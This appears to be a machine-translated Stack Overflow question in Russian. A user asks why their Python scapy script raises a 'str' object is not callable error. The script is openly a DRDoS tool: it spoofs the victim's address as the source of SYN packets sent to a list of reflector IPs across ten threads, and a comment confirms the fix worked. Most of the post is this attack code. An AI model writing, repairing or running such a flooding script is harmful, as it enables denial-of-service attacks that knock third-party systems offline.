Я пытаюсь сделать программу DRDOS в Python, но я получаюPython TypeError: «ул» объект не вызываемая
TypeError: 'str' object is not callable
Вот мой код
import os
import sys
import threading
from scapy.all import *
from time import sleep
if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)
list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))
print "Flooding, press ^Z to stop."
class SYNFlood(threading.Thread):
def run(self):
c=0
with open(list, "r") as f:
IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
send(a, verbose=0)
sys.stdout.write('.')
c=c+1
print "Done, sent " + str(c) + " packets."
exit(0)
for x in range(10):
t = SYNFlood()
t.start()
я сделал некоторые исследования и нашел, что это от переменной, которая имеет имя «str», я не нашел этого. Интересно.
Это сработало, спасибо! – D4zk1tty
@ D4zk1tty, вы должны, вероятно, пометить вопрос, как он решил тогда. – astreal